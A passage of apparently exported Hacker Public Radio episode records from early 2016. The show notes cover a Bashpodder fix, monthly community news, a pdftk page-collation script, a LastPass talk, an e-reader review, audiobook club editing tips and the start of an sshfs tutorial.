                                                            \n\nA Shadowy Figure\n","hostid":308,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Meegopad","version":0,"downloads":0,"valid":1}, {"id":1935,"date":"2016-01-01","title":"Quick Bashpodder Fix","duration":578,"summary":"Charles in NJ returns with a short show to discuss a fix he made to Bashpodder.","notes":"

                                                            \nBashpodder is a great Bash script for downloading the latest episodes of podcasts and other media from their feeds.\n

                                                            \n

                                                            \nThere are a few feeds that are not handled properly by Bashpodder, namely, the TED Talks podcast feed and the NPR digest show called the TED Radio Hour.\n

                                                            \n

                                                            \nThe URLs for the audio files have a number of additional fields at the end of the string after the media file name, and Bashpodder picks up the last field as if it were the media file name for the show. So every TED Radio Hour episode is called \"510298\". If you download more than one episode at a time, only the last episode to be saved will survive. Each new file clobbers the last one, because they all get the same filename.\n

                                                            \n

                                                            \nCharles in NJ made a simple fix to Bashpodder.shell to correct this problem, and he shares it in this episode.\n

                                                            \n\n

                                                            Links:

                                                            \n\n\n\n

                                                            Additional Resources:

                                                            \n\n
                                                              \n
                                                            1. Original version of Bashpodder.shell\n
                                                            2. \n
                                                            3. Revised version with fixes to pick up TED-related podcast files\n
                                                            4. \n
                                                            5. Abbreviated example of bp.conf configuration file that tells Bashpodder what resources to fetch\n
                                                            6. \n
                                                            7. Abbreviated example of podcast.log that shows how Bashpodder stores its history, including some sample TED links.\n
                                                            8. \n
                                                            \n\n

                                                            \nHappy New Year from Charles in NJ. \n

                                                            \n","hostid":229,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Bashpodder, podcast, bash, awk","version":0,"downloads":0,"valid":1}, {"id":1936,"date":"2016-01-04","title":"HPR Community News for December 2015","duration":5334,"summary":"HPR Community News for December 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Clinton Roy, \n Archer72, \n The Linux Experiment, \n Cov.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1912Tue2015-12-01OpenNMS at All Things Open Conferenceklaatu
                                                            1913Wed2015-12-02The Linux ExperimentThe Linux Experiment
                                                            1914Thu2015-12-03Waking upJezra
                                                            1915Fri2015-12-0467 - LibreOffice Impress - TablesAhuka
                                                            1916Mon2015-12-07HPR Community News for November 2015HPR Volunteers
                                                            1917Tue2015-12-08OpenSource.comklaatu
                                                            1918Wed2015-12-09DerbyCon Interview with Dave KennedyXoke
                                                            1919Thu2015-12-10DerbyCon Interview with Paul KoblitzXoke
                                                            1920Fri2015-12-1121 - SSH Authentication - KeysAhuka
                                                            1921Mon2015-12-14How to run a conferenceClinton Roy
                                                            1922Tue2015-12-15The case to backup Google email.Archer72
                                                            1923Wed2015-12-16 Klaatu and System76klaatu
                                                            1924Thu2015-12-17Port ForwardingFiftyOneFifty
                                                            1925Fri2015-12-18Kdenlive Part 1: Introduction to KdenliveGeddes
                                                            1926Mon2015-12-21National Measurements InstitutesAmunizp
                                                            1927Tue2015-12-22Ansible Interviewklaatu
                                                            1928Wed2015-12-23Cov's JamsCov
                                                            1929Thu2015-12-24I Found a FlashlightJon Kulp
                                                            1930Fri2015-12-25A systemd primerClinton Roy
                                                            1931Mon2015-12-28Atomic force microscopyAmunizp
                                                            1932Tue2015-12-29Klaatu interviews Grafanaklaatu
                                                            1933Wed2015-12-30HPR AudioBookClub 11 Street CandlesHPR_AudioBookClub
                                                            1934Thu2015-12-31Experiencing the Meegopad T-02 Part twoA Shadowy Figure
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Frank Bell <frankwbell@...>
                                                              \n Date: 2015-11-28 15:20:25 -0500
                                                              \n Subject: A Question about Shownotes
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1007
                                                              \n Messages: 2

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-11-30 11:44:52 +0100
                                                              \n Subject: New Year Show ?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1014
                                                              \n Messages: 3

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-12-02 21:50:45 +0100
                                                              \n Subject: FTP Password change
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1022
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: Joshua Knapp <jknapp85@...>
                                                              \n Date: 2015-12-02 13:04:40 -0800
                                                              \n Subject: Gitlab Upgrade tomorrow
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1023
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Frank Bell <frankwbell@...>
                                                              \n Date: 2015-12-09 00:11:12 -0500
                                                              \n Subject: Community News (Completely Off-Topic)
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1024
                                                              \n Messages: 8

                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-12-14 10:47:25 +0100
                                                              \n Subject: Fwd: SCALE 14x - PSA
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1032
                                                              \n Messages: 2

                                                            12. \n
                                                            13. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-12-15 22:27:31 -0600
                                                              \n Subject: Feedback needed now, Go/NoGo on New Years show
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1034
                                                              \n Messages: 2

                                                            14. \n
                                                            15. From: Andrew Neher <amneher007@...>
                                                              \n Date: 2015-12-16 14:10:31 -0600
                                                              \n Subject: Re: Hpr Digest, Vol 87, Issue 9
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1036
                                                              \n Messages: 1

                                                            16. \n
                                                            17. From: Joshua Knapp <jknapp85@...>
                                                              \n Date: 2015-12-18 07:42:09 -0800
                                                              \n Subject: Moving the site to New Server/IP today
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1037
                                                              \n Messages: 1

                                                            18. \n
                                                            19. From: Joshua Knapp <jknapp85@...>
                                                              \n Date: 2015-12-18 10:59:21 -0800
                                                              \n Subject: HPR Site move completed
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1038
                                                              \n Messages: 1

                                                            20. \n
                                                            21. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-12-22 18:25:17 +0100
                                                              \n Subject: How to check if the intro and outro are added
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1039
                                                              \n Messages: 6

                                                            22. \n
                                                            23. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-12-23 20:26:05 -0600
                                                              \n Subject: New Year's Show update
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1041
                                                              \n Messages: 5

                                                            24. \n
                                                            25. From: honkey Magoo <honkeymagoo01@...>
                                                              \n Date: 2015-12-24 21:02:23 -0500
                                                              \n Subject: Re: New Year's Show update
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1046
                                                              \n Messages: 19

                                                            26. \n
                                                            27. From: "Thaj A. Sara" <thajasara@...>
                                                              \n Date: 2015-12-25 10:35:15 -0500
                                                              \n Subject: Re: Hpr Digest, Vol 87, Issue 15
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1051
                                                              \n Messages: 4

                                                            28. \n
                                                            29. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-12-28 16:43:50 +0100
                                                              \n Subject: Changes to the upload process
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1063
                                                              \n Messages: 3

                                                            30. \n
                                                            31. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-12-29 11:33:28 +0100
                                                              \n Subject: There may be issues with the FTP server
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1067
                                                              \n Messages: 22

                                                            32. \n
                                                            33. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-12-29 20:13:18 UTC
                                                              \n Subject: HPR Community News - next Saturday on 2016-01-02T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1082
                                                              \n Messages: 1

                                                            34. \n
                                                            35. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-12-30 09:09:29 +0100
                                                              \n Subject: Requested Topic: IRC Etiquette
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1086
                                                              \n Messages: 2
                                                            36. \n
                                                            \nTotal messages this month: 84
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 26 comments:

                                                            \n
                                                              \n
                                                            • hpr1649\n(2014-11-27) \"Raspberry Pi Accessibility Breakthrough\"\nby Mike Ray.\n
                                                              • Comment 7:\nMike Ray on 2015-12-01:\n\"Quiet boot\"
                                                              • \n

                                                            • \n
                                                            • hpr1870\n(2015-10-02) \"19 - Home SSH Server\"\nby Ahuka.\n
                                                              • Comment 2:\n0xf10e on 2015-12-10:\n\"yepp, no cleartext\"
                                                              • \n

                                                            • \n
                                                            • hpr1878\n(2015-10-14) \"What's In My Bag\"\nby Mr. Young.\n
                                                              • Comment 1:\nErik on 2015-12-28:\n\"Commands\"
                                                              • \n

                                                            • \n
                                                            • hpr1894\n(2015-11-05) \"Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project\"\nby Ken Fallon.\n
                                                              • Comment 3:\nClinton Roy on 2015-12-10:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1898\n(2015-11-11) \"Free my music!\"\nby Alpha32.\n
                                                              • Comment 2:\nFrank on 2015-12-20:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1906\n(2015-11-23) \"Apt Spelunking 2: tvtime, phatch, and xstarfish\"\nby Windigo.\n
                                                              • Comment 2:\nWindigo on 2015-12-01:\n\"Re: Phatch\"
                                                              • Comment 3:\nDave Morriss on 2015-12-02:\n\"Re: Phatch\"
                                                              • \n

                                                            • \n
                                                            • hpr1907\n(2015-11-24) \"Charlie Reisinger and Penn Manor\"\nby klaatu.\n
                                                              • Comment 2:\nCharles in NJ on 2015-12-23:\n\"Penn Manor\"
                                                              • \n

                                                            • \n
                                                            • hpr1909\n(2015-11-26) \"Creating an Open, Embedded-Media Music Textbook\"\nby Jon Kulp.\n
                                                              • Comment 4:\nFrank on 2015-12-01:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1910\n(2015-11-27) \"QMMP--The Qt-based MultiMedia Player\"\nby Frank Bell.\n
                                                              • Comment 4:\nDave Morriss on 2015-12-02:\n\"Nostalgia\"
                                                              • Comment 5:\nFrank on 2015-12-02:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1914\n(2015-12-03) \"Waking up\"\nby Jezra.\n
                                                              • Comment 1:\nWindigo on 2015-12-04:\n\"One-upped\"
                                                              • \n

                                                            • \n
                                                            • hpr1916\n(2015-12-07) \"HPR Community News for November 2015\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nCharles in NJ on 2015-12-21:\n\"Experts Exchange\"
                                                              • \n

                                                            • \n
                                                            • hpr1917\n(2015-12-08) \"OpenSource.com\"\nby klaatu.\n
                                                              • Comment 1:\nJon Kulp on 2015-12-08:\n\"A possible outlet\"
                                                              • \n

                                                            • \n
                                                            • hpr1918\n(2015-12-09) \"DerbyCon Interview with Dave Kennedy\"\nby Xoke.\n
                                                              • Comment 1:\nFrank on 2015-12-25:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1924\n(2015-12-17) \"Port Forwarding\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\nKevin O'Brien on 2015-12-16:\n\"Great show!\"
                                                              • \n

                                                            • \n
                                                            • hpr1928\n(2015-12-23) \"Cov's Jams\"\nby Cov.\n
                                                              • Comment 1:\nA Shadowy Figure on 2015-12-24:\n\"Nice mix Cov\"
                                                              • Comment 2:\ntcuc on 2015-12-31:\n\"nice, i cant å wait for more.\"
                                                              • Comment 3:\nDavid L. Willson on 2015-12-31:\n\"Yes\"
                                                              • \n

                                                            • \n
                                                            • hpr1929\n(2015-12-24) \"I Found a Flashlight\"\nby Jon Kulp.\n
                                                              • Comment 1:\nA Shadowy Figure on 2015-12-24:\n\"Thank you for this timely episode\"
                                                              • \n

                                                            • \n
                                                            • hpr1930\n(2015-12-25) \"A systemd primer\"\nby Clinton Roy.\n
                                                              • Comment 1:\nFrank on 2015-12-29:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1931\n(2015-12-28) \"Atomic force microscopy\"\nby Amunizp.\n
                                                              • Comment 1:\nMysterio2 on 2015-12-27:\n\"Great show.\"
                                                              • Comment 2:\nA Shadowy Figure on 2015-12-28:\n\"Good job\"
                                                              • \n

                                                            • \n
                                                            • hpr1932\n(2015-12-29) \"Klaatu interviews Grafana\"\nby klaatu.\n
                                                              • Comment 1:\nA Shadowy Figure on 2015-12-30:\n\"Good interview\"
                                                              • \n

                                                            • \n
                                                            • hpr1933\n(2015-12-30) \"HPR AudioBookClub 11 Street Candles\"\nby HPR_AudioBookClub.\n
                                                              • Comment 1:\nlostnbronx on 2015-12-10:\n\"Wow, Thanks So Much!\"
                                                              • \n

                                                            • \n
                                                            • hpr1934\n(2015-12-31) \"Experiencing the Meegopad T-02 Part two\"\nby A Shadowy Figure.\n
                                                              • Comment 1:\nA Shadowy Figure on 2015-12-15:\n\"Updated Show Notes\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1937,"date":"2016-01-05","title":"Klaatu talks to Cloudera about Hadoop and Big Data","duration":647,"summary":"Klaatu talks to Cloudera about Hadoop and Big Data","notes":"

                                                            \nCloudera delivers the modern platform for data management and analytics. We provide the world’s fastest, easiest, and most secure Apache Hadoop platform to help you solve your most challenging business problems with data.\n

                                                            \n

                                                            \nhttps://www.cloudera.com/
                                                            \nhttps://hadoop.apache.org/\n

                                                            ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interview,Cloudera,Hadoop","version":0,"downloads":0,"valid":1}, {"id":1938,"date":"2016-01-06","title":"How I prepare HPR shows","duration":1574,"summary":"I use my own tools for preparing my HPR shows. I talk about them in this episode","notes":"

                                                            How I prepare HPR shows

                                                            \n

                                                            Introduction

                                                            \n

                                                            I have been contributing shows to Hacker Public Radio since 2012. In those far off days (!) we sent everything in via FTP, and had to name the files with a combination of our host id, our name, the slot number and the title. The show notes had to contain a chunk of metadata in a defined format to signal all of the various attributes of the show. I found myself making numerous mistakes with this naming and metadata formatting and so started designing and writing some tools to protect myself from my own errors.

                                                            \n

                                                            I started developing a Bash script in mid-2013 which I called hpr_talk. I used Bash since I thought I might be able to make something with a small footprint that I could share, which might be useful to others. The script grew and grew and became increasingly complex and I found I needed to add other scripts to the toolkit and to resort to Perl and various Perl modules to perform some actions.

                                                            \n

                                                            Then in 2014 Ken changed the upload procedure to what it is now. This is a much better design and does away with the need to name files in odd ways and add metadata to them. However, this left my toolkit a bit high and dry, so I shelved the plans to release it.

                                                            \n

                                                            Since then I have been enhancing the hpr_talk toolkit, adding features that I found useful and removing bugs, until the present time. Now it is probably far too complex and idiosyncratic to be of direct use to others, and is rather too personalised to my needs to be easily shared. Nevertheless, it is available on GitLab and I am going to describe it here in case it (or the methods used) might be of interest to anyone.

                                                            \n

                                                            I have written out a moderately long set of notes about this subject and these are available by clicking this link.

                                                            \n

                                                            Audio Notes

                                                            \n

                                                            I had to record this in two parts. In the second part there was a constant background hum which I tried to remove. My removal process was not particularly successful I'm afraid, so it cuts in and out. I'm still learning how to do this sort of thing in Audacity!

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Markdown,Pandoc,ePub,Bash,Perl,FTP","version":0,"downloads":0,"valid":1}, {"id":1939,"date":"2016-01-07","title":"Collating Pages with pdftk","duration":934,"summary":"I describe how to collate the pages of two separate PDF files using pdftk","notes":"

                                                            I'm moving into my new office at work, and among many things I had to move are file boxes full of old class notes from graduate school. The academic hoarder in me doesn't want to recycle them—I might need these things again! I'm scanning.

                                                            \n\n

                                                            I've inherited an excellent scanner/copier with a feeder that lets you scan stacks of pages with one click. This works great for single-sided documents, but most of my handwritten notes are double-sided. I scan one side, then turn the stack over and scan the other side, and I end up with two PDFs for a single stack of pages—one with the front pages and the other with back pages in reverse order. The difficulty is to collate the pages of those two files so that the front and back sides appear in a single PDF in the correct order. Sounds like a job for a shell script!

                                                            \n\n

                                                            The script takes two CLI arguments. The first argument is the PDF containing front pages, and the second is the PDF of the back pages.

                                                            \n\n

                                                            The first job is take the backsides and reverse the page order, because they were scanned in last-page-to-first. This is very easy with pdftk:

                                                            \n\n
                                                            pdftk back.pdf cat end-1 output backfix.pdf
                                                            \n\n

                                                            Now that the pages are all in the correct order it's time to collate them. We're going to use the burst function of the PDF toolkit to explode each of the two PDFs into separate pages. After that, we recombine the separate pages in the correct order. The trick is finding a way to do this efficiently. In concept, it's not hard to collate pages in whatever order you want after they've been burst. You simply keep giving pdftk CLI arguments for all of the files you want to combine and then output them as a single file. However, if you have 40 or 50 pages, it's extremely tedious to provide that many CLI args one at a time. This must be automated!

                                                            \n\n

                                                            The way I figured out how to do this was to ensure that the burst command would output files that would appear in the correct order automatically when using the ls command inside the working directory. The burst command automatically numbers the output files, but you can specify certain filename formatting parameters if you want to. I chose a format that would begin the filename with the numerical page count in at least three digits with leading zeros (001, 002, etc), followed by an underscore and either the word \"front\" for the front pages or \"reverse\" for the back pages.

                                                            \n\n

                                                            So here are the burst commands:

                                                            \n\n
                                                            \npdftk front.pdf burst output %03d_front.pdf\npdftk backfix.pdf burst output %03d_reverse.pdf\n
                                                            \n\n

                                                            At this point a bunch of new files appear, looking something like this:

                                                            \n\n
                                                            \n001_front.pdf\n001_reverse.pdf\n002_front.pdf\n002_reverse.pdf\n003_front.pdf\n003_reverse.pdf\n...\n
                                                            \n\n

                                                            Notice how the front and back pages all appear in the correct order? Now, instead of typing in the filename for every page, we can use the output of the ls command, filtering out any files not beginning with numbers.

                                                            \n\n
                                                            pdftk $(ls |grep ^[0-9]) cat output collated.pdf
                                                            \n\n

                                                            And it's done. The entire script loks like this:

                                                            \n\n
                                                            \n#!/bin/bash\n\n# Requires: pdftk\n\nfront=$(readlink -f "$1")\nback=$(readlink -f "$2")\nbasedir=$(dirname $front) \nstem=$(basename $back .pdf)\nbackfix="$stem"-fixed.pdf\nnew=$(basename $front .pdf | sed -e 's/[Ff]ront/Combined/')\n\ncd $basedir\npdftk $back cat end-1 output $backfix &> /dev/null\npdftk $front burst output %03d_front.pdf &> /dev/null\npdftk $backfix burst output %03d_reverse.pdf &> /dev/null\npdftk $(ls |grep ^[0-9]) cat output "$new".pdf\n
                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pdftk, scripting, productivity, scanning, document management, pdf","version":0,"downloads":0,"valid":1}, {"id":1940,"date":"2016-01-08","title":"WASHLUG Talk on LastPass","duration":3446,"summary":"An expanded discussion of the LastPass intrusion as delivered at our LUG.","notes":"

                                                            \nI had the opportunity to present a talk on the LastPass intrusion at our local LUG, the Washtenaw Linux Users Group, which expanded on a previous HPR episode and added some additional material that I think might be of interest to our listeners. I still stand by my claim that LastPass was not seriously affected by the intrusion and is still an excellent security solution for most computer users.\nFor more go to https://www.zwilnik.com/?page_id=841 \n

                                                            \n\n

                                                            Links:

                                                            \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"LastPass, passwords, password vaults","version":0,"downloads":0,"valid":1}, {"id":1941,"date":"2016-01-11","title":"What's in my case","duration":1976,"summary":"I'm a fountain pen enthusiast; here's what's in my pen case","notes":"

                                                            What's in my case

                                                            \n

                                                            I'm a fountain pen geek and I thought I'd share my geekiness on HPR in case there are any other FPGeeks out there.

                                                            \n

                                                            I have a pen case which I bought from China through eBay, and so I felt that this allowed me to add this show to the 'What's in my ...' series.

                                                            \n

                                                            I have written out a long set of notes to accompany this episode. Click this link to view them.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"fountain pen,nib,ink,cartridge,piston fill,penmanship","version":0,"downloads":0,"valid":1}, {"id":1942,"date":"2016-01-12","title":"Kobo Touch N-905 E-Reader","duration":2600,"summary":"Klaatu reviews the Kobo Touch e-reader","notes":"

                                                            Klaatu reviews the Kobo Touch N-905 e-reader.

                                                            \n

                                                            Too Long; Didn't Listen: it's a positive review and the device mostly works well with Linux. There are some exceptions, such as the need to hack around the registration process; luckily, that's easy:

                                                            \n

                                                            https://gedakc.users.sourceforge.net/display-doc.php?name=kobo-desktop-ereader-setup

                                                            \n

                                                            That being \"the ugly\", here are the Good and the Bad:

                                                            \n

                                                            Good:

                                                            \n
                                                              \n
                                                            • works with Linux, after one initial hack
                                                            • \n
                                                            • uses file manager or calibre
                                                            • \n
                                                            • great format support (EPUB, EPUB3, PDF, MOBI, JPEG, GIF, PNG, BMP, TIFF, TXT, HTML, RTF, CBZ, CBR)
                                                            • \n
                                                            • e-ink
                                                            • \n
                                                            • great battery life (lasts a month on one charge, with every evening and weekend filled with reading)
                                                            • \n
                                                            • a little more interactive and configurable than expected
                                                            • \n
                                                            • one device, one app, one purpose
                                                            • \n
                                                            • small, lightweight, convenient
                                                            • \n
                                                            • cheap ($60 USD)
                                                            • \n
                                                            • expansion up to 32gb
                                                            • \n
                                                            \n

                                                            Negative

                                                            \n
                                                              \n
                                                            • requires registration (or a rego hack)
                                                            • \n
                                                            • rearranges your books by meta data; no override to respect your dirs
                                                            • \n
                                                            • touch screen
                                                            • \n
                                                            • slow (though not annoyingly slow)
                                                            • \n
                                                            • long time to index books
                                                            • \n
                                                            • hard to keep track of books you are currently reading
                                                            • \n
                                                            • sleep/off screen should be more configurable
                                                            • \n
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"book,ebook,kobo","version":0,"downloads":0,"valid":1}, {"id":1943,"date":"2016-01-13","title":"HPR AudioBook Club 11.5 - Interview with David Collins-Rivera","duration":8866,"summary":"The HPR Audiobook Club interviews the author of the latest book we reviewed.","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub interviews David Collins-Rivera.

                                                            \n

                                                            David's Writing

                                                            \n
                                                              \n
                                                            • \n
                                                            • \n
                                                            \n

                                                            David's Voice work and Acting

                                                            \n
                                                              \n
                                                            • \n
                                                            • \n
                                                            \n

                                                            (summary)

                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • x1101: Green & Mint tea. Very mellow and refreshing
                                                            • \n
                                                            • Thaj: Typical homemade lemonade. Teeth rotting good :)
                                                            • \n
                                                            • pokey: I was drinking a can of Polar Lime Seltzer. I love seltzer, and lime is my favorite flavor. I think that seltzer feels (not tastes!) like cheap beer, and I once used it to help me quit drinking beer. I have since quit quitting beer, but I now I can't quit seltzer
                                                            • \n
                                                            • lostinbronx:
                                                            • \n
                                                            • \n
                                                            \n

                                                            Things We Talked About

                                                            \n

                                                            \n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            The Call of Cthulhu by H. P. Lovecraft\n
                                                            https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3

                                                            \n

                                                            pegwole suggested this AudioBook, and we all thought that horror was a pretty good selection for our October episode.

                                                            \n

                                                            NEXT RECORDING

                                                            \n

                                                            Our next book club recording will be 2014/10/14T23:00:00+00:00. https://en.wikipedia.org/wiki/ISO_8601#Times If you'd like a Google calendar invite, or if you'd like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list 'hpr at hackerpublicradio dot org'

                                                            \n

                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net/. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It's been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampeling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                              \n
                                                            • Threshold: -30db
                                                            • \n
                                                            • Noise Floor: -50db
                                                            • \n
                                                            • Ratio: 3:1
                                                            • \n
                                                            • Attack Time: 0.2sec
                                                            • \n
                                                            • Decay Time: 1.0 sec
                                                            • \n
                                                            • \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.
                                                            • \n
                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extreemly effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too agressively your audio may sound sped up and choppy.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub, Pokey, Thaj, lostnbronx, David Collins-Rivera, X1101, Street Candles","version":0,"downloads":0,"valid":1}, {"id":1944,"date":"2016-01-14","title":"sshfs - Secure SHell FileSystem","duration":1861,"summary":"How to mount remote storage using sshfs","notes":"

                                                            \nThis is a topic Ken Fallon has been wanting someone to do for some time, but I didn't want to talk about sshfs until the groundwork for ssh in general was laid. Fortunately, other hosts have recently covered the basics of ssh, so I don't have to record a series of episodes just to get to sshfs.\n

                                                            \n

                                                            \nFrom the sshfs man page: SSHFS (Secure SHell FileSystem) is a file system for Linux (and other operating systems with a FUSE implementation, such as Mac OS X or FreeBSD) capable of operating on files on a remote computer using just a secure shell login on the remote computer. On the local computer where the SSHFS is mounted, the implementation makes use of the FUSE (Filesystem in Userspace) kernel module. The practical effect of this is that the end user can seamlessly interact with remote files being securely served over SSH just as if they were local files on his/her computer. On the remote computer the SFTP subsystem of SSH is used.\n

                                                            \n

                                                            \nIn short, sshfs offers a dead simple way of mounting remote network volumes from another system on at a specified mount point on your local host, with encrypted data communications. It's perfect for at hoc connections on mobile computers or more permanent links. This is tutorial is going to be about how I use sshfs, rather than covering every conceivable option. I really think my experience will cover the vast majority of use cases without making things complicated, besides, I don't like to discuss options I haven't used personally.\n

                                                            \n

